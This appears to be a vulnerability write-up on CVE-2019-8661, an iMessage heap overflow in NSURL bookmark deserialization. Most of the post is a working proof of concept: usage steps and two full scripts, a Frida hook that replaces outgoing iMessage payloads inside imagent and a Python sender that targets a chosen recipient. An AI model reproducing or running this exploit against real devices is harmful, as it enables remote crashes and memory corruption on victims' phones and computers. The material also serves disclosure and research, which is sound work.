iMessage URL Deserializing Heap Overflow

A security vulnerability has been found in Apple’s chat program iMessage

iMessage logo

Summary:

A security researcher by the name of Natalie Silvanovich
who is part of Google’s Project zero team has found
a vulnerability affecting iMessage that lets the malicious third party form a malicious message that crashes the receivers device.

The vulnerability has been reserved the CVE CVE-2019-8661

The vulnerability exploits the unsafe function strcat_chk
that is being used in MacOSX’s CarbonCore framework via its ALI_Get_UTF8Path

The author describes the vulnerability as the following:

There is a heap overflow in [NSURL initWithCoder:] that can be
reached via iMessage and likely other paths.
When an NSURL is deserialized, one property its
plist can contain is NS.minimalBookmarkData, which is
then used as a parameter for [NSURL URLByResolvingBookmarkData:options:relativeToURL:bookmarkDataIsStale:error:].
This method uses a wide variety of code to parse the provided bookmark data.
On a Mac, if the data is a pre-2012 alias file, it will
be processed using the FSResolveAliasWithMountFlags function
in the CarbonCore framework.
This function can eventually call ALI_GetUTF8Path,
which has an unsafe call to strcat_chk, leading to memory corruption.

Proof of concept

A python script has been written to demonstrate how this could be exploited using the python framework frida

Steps

  • First step install the python frame work frida with python’s package manager pip

  • Second step Edit sendMessage.py and add the receivers email or phone number

  • Third step Edit the injectMessage.js file and define the path of the obj file.
    the obj file you will find in the link to the archive file on Packetstorm Security.

  • Last step Run the sendMessage.py script: python sendMessage.py

Scripts

injectMessage.js

// Whether the serialized outgoing message should be replaced entirely.
var replaceSerializedMessage = false;

// Create the replacement data.
var dataLen = 0x100;
var rawData = new Uint8Array(dataLen);
for (var i = 0; i < dataLen; i++)
    rawData[i] = 0x41;
var buffer = Memory.alloc(dataLen);
buffer.writeByteArray(rawData.buffer);
var replacementData = ObjC.classes.NSData.dataWithBytes_length_(buffer, dataLen);


// Hook the message serialization routine.
var jw_encode_dictionary_addr = Module.getExportByName(null, "JWEncodeDictionary");
send("Hooking JWEncodeDictionary" + jw_encode_dictionary_addr);
Interceptor.attach(jw_encode_dictionary_addr, {
    onEnter: function(args) {
       var dict = ObjC.Object(args[0]);
        if (dict == null) {
            return;
        }

        send(dict.toString())

        var t = dict.objectForKey_("t")
        if (t == null) {
            return;
        }

        if (t == "REPLACEME") {
            var newDict = ObjC.classes.NSMutableDictionary.dictionaryWithCapacity_(dict.count());
            console.log("here");
            var d = ObjC.classes.NSData.dataWithContentsOfFile_("PATH/obj");
            console.log(d);
            var n = ObjC.classes.NSNumber.numberWithInt_(0x77777);
            var a = ObjC.classes.NSMutableArray.arrayWithObject_("mailto:asdf@gmail.com");
            a.addObject_("tel:+16508805555");
        newDict.setObject_forKey_("com.apple.messages.MSMessageExtensionBalloonPlugin.com.apple.PassbookUIService.PeerPaymentMessagesExtension", "bid");
            newDict.setObject_forKey_(a, "p");
            newDict.setObject_forKey_(d, "bp");

            newDict.setObject_forKey_("B1A83E5A-F365-4715-9960-B9C53F8AE987", "gid");
            newDict.setObject_forKey_(8, "gv");
            newDict.setObject_forKey_(0, "p");
            newDict.setObject_forKey_("D5C6AEB7-FBD8-41AA-89CD-F8129C4261B1", "r");

            newDict.setObject_forKey_(1, "v");
         
            args[0] = newDict.handle;

            send("DONE");
        }
    },

    onLeave: function(retval) {
        if (replaceSerializedMessage) {
            console.log("replacing")
            retval.replace(replacementData);
            replaceSerializedMessage = false;
        }
    }
});

sendMessage.py

import frida
import sys
import subprocess
import time

# define the recievers email or phone number
receiver = "YOUR EMAIL"

exit = False

def on_message(message, data):
    global exit
    if message['type'] == 'send':
        payload = message['payload']
        if payload == "DONE":
            print("done")
            exit = True
            return
    else:
        print(message)


session = frida.attach("imagent")

code = open('injectMessage.js', 'r').read()
script = session.create_script(code);
script.on("message", on_message)
script.load()

# Send a message through apple script. Our hook will detect it and replace it before sending.
subprocess.call(["osascript", "sendMessage.applescript", receiver, "REPLACEME"])

while not exit:
    time.sleep(0.1)

The same author is also behind CVE-2019-8646 which
can be used to remotely steal files from a targets device throw iMessage.

External links:
Packetstorm Security Mirror of the vulnerability
Frida
Natalie Silvanovich website
Google project zero CVE-2019-8646 video

Stay up to date with Vulnerability Management and build cool things with our API